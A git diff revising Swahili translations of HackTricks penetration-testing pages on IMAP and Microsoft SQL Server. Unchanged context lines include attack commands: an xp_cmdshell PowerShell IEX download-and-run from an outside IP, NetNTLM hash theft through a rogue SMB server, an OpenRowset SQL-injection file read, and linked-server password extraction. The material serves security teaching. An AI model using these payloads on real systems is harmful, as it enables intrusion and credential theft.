diff --git a/network-services-pentesting/pentesting-imap.md b/network-services-pentesting/pentesting-imap.md index 9e020909e..a2f4468c6 100644 --- a/network-services-pentesting/pentesting-imap.md +++ b/network-services-pentesting/pentesting-imap.md @@ -7,20 +7,28 @@ Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. -## Itifaki ya Kufikia Barua pepe kwa Mtandao +**Kikundi cha Usalama cha Kujitahidi** -**Itifaki ya Kufikia Barua pepe kwa Mtandao (IMAP)** imeundwa kwa lengo la kuruhusu watumiaji **kufikia ujumbe wao wa barua pepe kutoka mahali popote**, hasa kupitia muunganisho wa Intaneti. Kimsingi, barua pepe zinabaki kwenye **server** badala ya kupakuliwa na kuhifadhiwa kwenye kifaa cha mtu binafsi. Hii inamaanisha kwamba wakati barua pepe inapofikiwa au kusomwa, inafanywa **moja kwa moja kutoka kwenye server**. Uwezo huu unaruhusu urahisi wa kuangalia barua pepe kutoka kwa **vifaa vingi**, kuhakikisha kwamba hakuna ujumbe unaopotea bila kujali kifaa kinachotumiwa. +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + +## Itifaki ya Kufikia Ujumbe wa Mtandao + +**Itifaki ya Kufikia Ujumbe wa Mtandao (IMAP)** imeundwa kwa lengo la kuruhusu watumiaji **kufikia ujumbe wao wa barua pepe kutoka mahali popote**, hasa kupitia muunganisho wa Mtandao. Kimsingi, barua pepe zinabaki kwenye **server** badala ya kupakuliwa na kuhifadhiwa kwenye kifaa cha mtu binafsi. Hii inamaanisha kwamba wakati barua pepe inapofikiwa au kusomwa, inafanywa **moja kwa moja kutoka kwenye server**. Uwezo huu unaruhusu urahisi wa kuangalia barua pepe kutoka kwa **vifaa vingi**, kuhakikisha kwamba hakuna ujumbe unaopotea bila kujali kifaa kinachotumiwa. Kwa chaguo-msingi, itifaki ya IMAP hufanya kazi kwenye bandari mbili: -* **Bandari 143** - hii ni bandari isiyo na usimbaji wa IMAP ya chaguo-msingi +* **Bandari 143** - hii ni bandari isiyojumuishwa ya IMAP ya chaguo-msingi * **Bandari 993** - hii ndio bandari unayohitaji kutumia ikiwa unataka kuunganisha kwa kutumia IMAP kwa usalama ``` PORT STATE SERVICE REASON @@ -44,7 +52,7 @@ root@kali: telnet example.com 143 ``` Au **automatize** hii na **nmap** programu-jalizi `imap-ntlm-info.nse` -### [IMAP Kuvunja Nguvu](../generic-methodologies-and-resources/brute-force.md#imap) +### [IMAP Kuvunja Nenosiri](../generic-methodologies-and-resources/brute-force.md#imap) ## Muundo @@ -103,23 +111,23 @@ apt install evolution ### CURL -Uvumbuzi wa msingi unawezekana na [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), lakini nyaraka zina maelezo machache hivyo ni vyema kuangalia [chanzo](https://github.com/curl/curl/blob/master/lib/imap.c) kwa maelezo sahihi. +Urambazaji wa msingi unawezekana na [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), lakini nyaraka zina maelezo machache hivyo ni vyema kuangalia [chanzo](https://github.com/curl/curl/blob/master/lib/imap.c) kwa maelezo sahihi. 1. Orodha ya sanduku la barua (amri ya imap `LIST "" "*") ```bash curl -k 'imaps://1.2.3.4/' --user user:pass ``` -2. Kupanga ujumbe katika sanduku la barua (amri ya imap `SELECT INBOX` kisha `SEARCH ALL`) +2. Kupanga ujumbe kwenye sanduku la barua (amri ya imap `SELECT INBOX` na kisha `SEARCH ALL`) ```bash curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass ``` Matokeo ya utafutaji huu ni orodha ya viashiria vya ujumbe. -Pia niwezekano wa kutoa vigezo vya utafutaji vya kina zaidi. k.m. kutafuta rasimu zenye nenosiri kwenye mwili wa barua: +Pia niwezekano wa kutoa vigezo vya utafutaji vya kina zaidi. mfano kutafuta rasimu zenye nenosiri kwenye mwili wa barua: ```bash curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass ``` -Aina nzuri ya maneno ya kutafuta inapatikana [hapa](https://www.atmail.com/blog/imap-commands/). +Aina nzuri ya maelezo ya maneno ya kutafuta inapatikana [hapa](https://www.atmail.com/blog/imap-commands/). 3. Kupakua ujumbe (amri ya imap `SELECT Drafts` kisha `FETCH 1 BODY[]`) ```bash @@ -127,7 +135,7 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass ``` Mail index itakuwa index ile ile itakayorudishwa kutoka kwa operesheni ya utafutaji. -Pia niwezekano kutumia `UID` (kitambulisho cha kipekee) kufikia ujumbe, hata hivyo ni chaguo duni kwani amri ya utafutaji inahitaji kuandaliwa kwa mkono. K.m. +Pia niwezekano kutumia `UID` (kitambulisho cha kipekee) kufikia ujumbe, hata hivyo ni chaguo lisilo la urahisi kwa sababu amri ya utafutaji inahitaji kuandaliwa kwa mkono. K.m. ```bash curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass @@ -148,6 +156,12 @@ done * `port:143 UWEZO` * `port:993 UWEZO` +**Kikundi cha Usalama cha Kujaribu Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + ## Amri za Kiotomatiki za HackTricks ``` Protocol_Name: IMAP #Protocol Abbreviation if there is one. @@ -180,14 +194,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS { ```
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
diff --git a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 055c2d714..9107bbd4d 100644 --- a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -2,7 +2,7 @@
-Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: @@ -10,15 +10,23 @@ Njia nyingine za kusaidia HackTricks: * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+**Kikundi cha Usalama cha Kujitahidi Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ## Taarifa Msingi Kutoka [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server): -> **Microsoft SQL Server** ni **mfumo wa usimamizi wa database** wa uhusiano ulioundwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyotakiwa na programu nyingine—ambazo zinaweza kukimbia kwenye kompyuta ile ile au kwenye kompyuta nyingine kwenye mtandao (ikiwa ni pamoja na Mtandao). +> **Microsoft SQL Server** ni **mfumo wa usimamizi wa database** wa uhusiano ulioundwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyotakiwa na programu nyingine—ambazo zinaweza kukimbia kwenye kompyuta ile ile au kwenye kompyuta nyingine kupitia mtandao (ikiwa ni pamoja na Mtandao). **Bandari ya chaguo:** 1433 ``` @@ -28,9 +36,9 @@ Kutoka [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server): * **Database ya msingi**: Hii ni database muhimu kwani inakamata maelezo yote ya kiwango cha mfumo kwa kifaa cha SQL Server. * **Database ya msdb**: SQL Server Agent hutumia database hii kusimamia ratiba za tahadhari na kazi. -* **Database ya mfano**: Inafanya kazi kama kielelezo kwa kila database mpya kwenye kifaa cha SQL Server, ambapo mabadiliko yoyote kama vile ukubwa, usanidi, mfano wa kupona, na zaidi yanafanana kwenye databases zilizoundwa hivi karibuni. +* **Database ya mfano**: Inafanya kazi kama kielelezo kwa kila database mpya kwenye kifaa cha SQL Server, ambapo mabadiliko yoyote kama vile ukubwa, usanidi, mfano wa kupona, na zaidi yanafanana katika databases mpya zilizoundwa. * **Database ya Rasilimali**: Database isiyoweza kuhaririwa ambayo inahifadhi vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vimehifadhiwa kimwili kwenye database ya Rasilimali, kwa mantiki vinaonyeshwa kwenye schema ya sys ya kila database. -* **Database ya tempdb**: Inafanya kazi kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo ya kati. +* **Database ya tempdb**: Inafanya kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo ya kati. ## Uchambuzi @@ -80,7 +88,7 @@ msf> use windows/manage/mssql_local_auth_bypass ``` ### [**Kujaribu nguvu**](../../generic-methodologies-and-resources/brute-force.md#sql-server) -### Uchunguzi wa Mikono +### Uchambuzi wa Kibinafsi #### Kuingia ```bash @@ -145,16 +153,16 @@ SELECT * FROM sysusers ``` #### Pata Ruhusa -1. **Inayoweza Kusimbwa:** Imetajwa kama rasilimali zinazosimamiwa na SQL Server kwa ajili ya kudhibiti ufikiaji. Hizi hugawanywa katika: -- **Server** - Mifano ni pamoja na maktaba za data, logins, endpoints, vikundi vya upatikanaji, na majukumu ya seva. +1. **Inayoweza Kusimbwa:** Imetajwa kama rasilimali zinazosimamiwa na SQL Server kwa ajili ya kudhibiti ufikiaji. Hizi hugawanywa katika makundi yafuatayo: +- **Server** - Mifano ni pamoja na maktaba za data, logins, endpoints, vikundi vya upatikanaji, na majukumu ya server. - **Database** - Mifano hujumuisha majukumu ya maktaba ya data, majukumu ya programu, schema, vyeti, katalogi za maandishi kamili, na watumiaji. - **Schema** - Inajumuisha meza, maoni, taratibu, kazi, visawe, n.k. -2. **Ruhusa:** Zinahusishwa na inayoweza kusimbwa ya SQL Server, ruhusa kama vile ALTER, CONTROL, na CREATE zinaweza kutolewa kwa mkuu. Usimamizi wa ruhusa hufanyika katika viwango viwili: -- **Viwango vya Seva** kwa kutumia logins -- **Viwango vya Maktaba ya Data** kwa kutumia watumiaji +2. **Ruhusa:** Zinahusishwa na inayoweza kusimbwa ya SQL Server, ruhusa kama vile ALTER, CONTROL, na CREATE zinaweza kutolewa kwa mada. Usimamizi wa ruhusa hufanyika katika viwango viwili: +- **Viwango vya Server** kwa kutumia logins +- **Viwango vya Database** kwa kutumia watumiaji -3. **Mkuu:** Istilahi hii inahusu kifaa ambacho kimetolewa ruhusa ya inayoweza kusimbwa. Wakuu kwa kiasi kikubwa ni pamoja na logins na watumiaji wa maktaba ya data. Udhibiti wa ufikiaji wa inayoweza kusimbwa hufanywa kupitia kutoa au kukataa ruhusa au kwa kuwaingiza logins na watumiaji katika majukumu yenye haki za ufikiaji. +3. **Mada:** Istilahi hii inahusu kwa kifupi kwa kifaa ambacho kimepewa ruhusa ya inayoweza kusimbwa. Madaraka kuu yanajumuisha logins na watumiaji wa maktaba ya data. Udhibiti wa ufikiaji wa inayoweza kusimbwa hufanywa kupitia utoaji au kukataa ruhusa au kwa kuwaingiza logins na watumiaji katika majukumu yenye haki za ufikiaji. ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -179,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell' ### Tekeleza Amri za OS {% hint style="danger" %} -Tafadhali kumbuka kwamba ili uweze kutekeleza amri, siyo tu muhimu kuwa na **`xp_cmdshell`** **imezimwa**, bali pia kuwa na **ruhusa ya KUTEKELEZA kwenye utaratibu uliowekwa wa `xp_cmdshell`**. Unaweza kupata ni nani (isipokuwa sysadmins) wanaweza kutumia **`xp_cmdshell`** na: +Tafadhali elewa kwamba ili uweze kutekeleza amri, siyo tu ni muhimu kuwa na **`xp_cmdshell`** **imezimwa**, bali pia kuwa na **ruhusa ya KUTEKELEZA kwenye utaratibu uliowekwa wa `xp_cmdshell`**. Unaweza kupata ni nani (isipokuwa sysadmins) wanaweza kutumia **`xp_cmdshell`** na: ```sql Use master EXEC sp_helprotect 'xp_cmdshell' @@ -212,7 +220,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1 # Bypass blackisted "EXEC xp_cmdshell" '; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' — ``` -### Pora hashi ya NetNTLM / Shambulio la kusambaza +### Pora Hashi ya NetNTLM / Shambulio la Kurelayi Unapaswa kuanzisha **seva ya SMB** ili kukamata hashi inayotumiwa katika uwakiki (`impacket-smbserver` au `responder` kwa mfano). ```bash @@ -227,7 +235,7 @@ sudo impacket-smbserver share ./ -smb2support msf> use auxiliary/admin/mssql/mssql_ntlm_stealer ``` {% hint style="warning" %} -Unaweza kuangalia ni nani (isipokuwa sysadmins) ana ruhusa ya kuendesha hizo kazi za MSSQL kwa: +Unaweza kuangalia ni nani (isipokuwa sysadmins) ana ruhusa ya kukimbia hizo kazi za MSSQL kwa: ```sql Use master; EXEC sp_helprotect 'xp_dirtree'; @@ -253,7 +261,7 @@ Unaweza kuona jinsi ya kutumia zana hizi katika: ### **Andika Faili** -Kuandika faili kwa kutumia `MSSQL`, **tunahitaji kuwezesha** [**Taratibu za Ole Automation**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji mamlaka ya msimamizi, na kisha kutekeleza taratibu zilizohifadhiwa ili kuunda faili: +Kuandika faili kutumia `MSSQL`, tunahitaji **kuwezesha** [**Taratibu za Ole Automation**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji mamlaka ya msimamizi, na kisha kutekeleza taratibu zilizohifadhiwa ili kuunda faili: ```bash # Enable Ole Automation Procedures sp_configure 'show advanced options', 1 @@ -277,18 +285,18 @@ Kwa chaguo-msingi, `MSSQL` inaruhusu faili **kusomwa kwenye faili yoyote kwenye ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` -Hata hivyo, chaguo la **`BULK`** linahitaji ruhusa ya **`ADMINISTER BULK OPERATIONS`** au **`ADMINISTER DATABASE BULK OPERATIONS`**. +Hata hivyo, chaguo la **`BULK`** linahitaji idhini ya **`ADMINISTER BULK OPERATIONS`** au **`ADMINISTER DATABASE BULK OPERATIONS`**. ```sql # Check if you have it SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS'; ``` -#### Kosa-msingi wa vekta kwa SQLi: +#### Kosa-msingi wa kuingiza kwa SQLi: ``` https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- ``` ### **RCE/Soma faili zinazotekeleza scripts (Python na R)** -MSSQL inaweza kuruhusu wewe kutekeleza **scripts za Python na/au R**. Msimbo huu utatekelezwa na **mtumiaji tofauti** na yule anayetumia **xp\_cmdshell** kutekeleza amri. +MSSQL inaweza kuruhusu wewe kutekeleza **scripts za Python na/au R**. Msimbo huu utatekelezwa na **mtumiaji tofauti** kuliko yule anayetumia **xp\_cmdshell** kutekeleza amri. Mfano wa kujaribu kutekeleza **'R'** _"Hellow World!"_ **haifanyi kazi**: @@ -310,7 +318,7 @@ GO ``` ### Soma Usajili -Microsoft SQL Server hutoa **taratibu nyingi za kuhifadhi zilizopanuliwa** ambazo kuruhusu wewe kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Usajili wa Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** +Microsoft SQL Server hutoa **taratibu nyingi za kuhifadhi zilizopanuliwa** ambazo kuruhusu wewe kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Usajili wa Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:** | **Kawaida** | **Inayotambua-Instance** | | ---------------------------- | -------------------------------------- | @@ -333,7 +341,7 @@ Use master; EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite'; ``` -Kwa **mfano zaidi** angalia [**chanzo cha asili**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). +Kwa **mifano zaidi** angalia [**chanzo cha asili**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). ### RCE na MSSQL User Defined Function - SQLHttp @@ -343,14 +351,13 @@ Inawezekana **kupakia dll ya .NET ndani ya MSSQL na kazi za desturi**. Hata hivy ### Njia Nyingine za RCE -Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza [taratibu za kuhifadhiwa zilizoziduliwa](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Majumuisho ya CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Kazi za SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), na [maandishi ya nje](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). +Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza [taratibu za kuhifadhiwa zilizoziduliwa](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Mkusanyiko wa CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Kazi za SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), na [maandishi ya nje](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). - -## Ukarabati wa Mamlaka wa MSSQL +## Ukarabati wa Mamlaka ya MSSQL ### Kutoka db\_owner hadi sysadmin -Ikiwa **mtumiaji wa kawaida** anapewa jukumu la **`db_owner`** juu ya **database iliyo milikiwa na mtumiaji wa admin** (kama vile **`sa`**) na hiyo database imeboreshwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia mamlaka haya kwa **privesc** kwa sababu taratibu zilizohifadhiwa zinaweza **kutekelezwa** kama mmiliki (**admin**). +Ikiwa **mtumiaji wa kawaida** anapewa jukumu la **`db_owner`** juu ya **database iliyo milikiwa na mtumiaji wa admin** (kama vile **`sa`**) na database hiyo imeboreshwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia mamlaka haya kwa **privesc** kwa sababu taratibu zilizohifadhiwa zinaweza **kutekelezwa** kama mmiliki (**admin**). ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -415,7 +422,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin') Ikiwa unaweza kujifanya kuwa mtumiaji, hata kama si sysadmin, unapaswa kuangalia **i**ki mtumiaji ana **upatikanaji** wa **databases** au seva zilizounganishwa. {% endhint %} -Tafadhali kumbuka kuwa mara tu unapokuwa sysadmin unaweza kujifanya kuwa yeyote mwingine: +Tafadhali kumbuka kwamba mara tu unapokuwa sysadmin unaweza kujifanya kuwa mtumiaji mwingine yeyote: ```sql -- Impersonate RegUser EXECUTE AS LOGIN = 'RegUser' @@ -439,29 +446,29 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) -## Kuchimba Nywila kutoka kwa Seva za SQL Server Zilizounganishwa -Mshambuliaji anaweza kuchimba nywila za Seva za SQL Server Zilizounganishwa kutoka kwa Mifano ya SQL na kuzipata kwa maandishi wazi, hivyo kupata nywila ambazo zinaweza kutumika kupata udhibiti mkubwa zaidi kwenye lengo. -Skripti ya kuchimba na kufichua nywila zilizohifadhiwa kwa Seva Zilizounganishwa inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords) +## Kuchimbua Nywila kutoka kwa Seva za SQL Server Zilizounganishwa +Mshambuliaji anaweza kuchimbua nywila za Seva za SQL Server Zilizounganishwa kutoka kwa Mifano ya SQL na kuzipata kwa maandishi wazi, hivyo kumpa mshambuliaji nywila ambazo zinaweza kutumika kupata msingi mkubwa zaidi kwenye lengo. +Script ya kuchimba na kufichua nywila zilizohifadhiwa kwa Seva Zilizounganishwa inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords) -Baadhi ya mahitaji na mipangilio lazima ifanywe ili kashfa hii ifanye kazi. +Baadhi ya mahitaji na mipangilio lazima ifanywe ili kufanikisha shambulizi hili. Kwanza kabisa, lazima uwe na Haki za Msimamizi kwenye mashine, au uwezo wa kusimamia Mipangilio ya Seva ya SQL. Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni haya yafuatayo: 1. Wezesha TCP/IP kwenye mifano ya SQL Server; 2. Ongeza Parameta ya Kuanza, katika kesi hii, bendera ya kufuatilia itaongezwa, ambayo ni -T7806. -3. Wezesha uunganisho wa usimamizi wa mbali. +3. Wezesha uunganisho wa msimamizi wa mbali. -Ili kiotomatiki mipangilio hii, [hifadhi hii ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ina skripti zinazohitajika. -Mbali na kuwa na skripti ya powershell kwa kila hatua ya usanidi, hifadhi pia ina skripti kamili ambayo inachanganya skripti za usanidi na uchimbaji na ufichuaji wa nywila. +Ili kiotomatiki mipangilio hii, [repo hii](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ina hati zinazohitajika. +Mbali na kuwa na hati ya powershell kwa kila hatua ya usanidi, repo pia ina hati kamili ambayo inachanganya hati za usanidi na uchimbaji na ufichuaji wa nywila. Kwa habari zaidi, tazama viungo vifuatavyo kuhusu shambulizi hili: -[Ufichuaji wa Nywila za Seva za Link za Database za MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +[Ufichuaji wa Nywila za Seva za Database za MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) -[Kutatua Matatizo ya Uunganisho wa Usimamizi wa Kipekee wa SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) +[Kutatua Matatizo ya Uunganisho wa Msimamizi wa Kujitolea wa SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) ## Kupandisha Hadhi ya Mamlaka ya Kienyeji -Mtumiaji anayeendesha seva ya MSSQL atakuwa amewezesha tokeni ya mamlaka **SeImpersonatePrivilege.**\ +Mtumiaji anayeendesha seva ya MSSQL atakuwa amewezesha token ya mamlaka **SeImpersonatePrivilege.**\ Huenda utaweza **kupanda hadhi hadi Msimamizi** kufuatia moja ya kurasa hizi 2: {% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} @@ -485,6 +492,15 @@ Huenda utaweza **kupanda hadhi hadi Msimamizi** kufuatia moja ya kurasa hizi 2: * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) * [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) * [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) +**Kikundi cha Usalama cha Kujaribu Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + +## Amri za Kiotomatiki za HackTricks ``` Protocol_Name: MSSQL #Protocol Abbreviation if there is one. Port_Number: 1433 #Comma separated if there is more than one. @@ -548,7 +564,7 @@ Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. diff --git a/network-services-pentesting/pentesting-pop.md b/network-services-pentesting/pentesting-pop.md index 50c3ddbeb..1ad7c1e06 100644 --- a/network-services-pentesting/pentesting-pop.md +++ b/network-services-pentesting/pentesting-pop.md @@ -1,22 +1,30 @@ -# 110,995 - Kupima Usalama wa POP +# 110,995 - Kujaribu POP
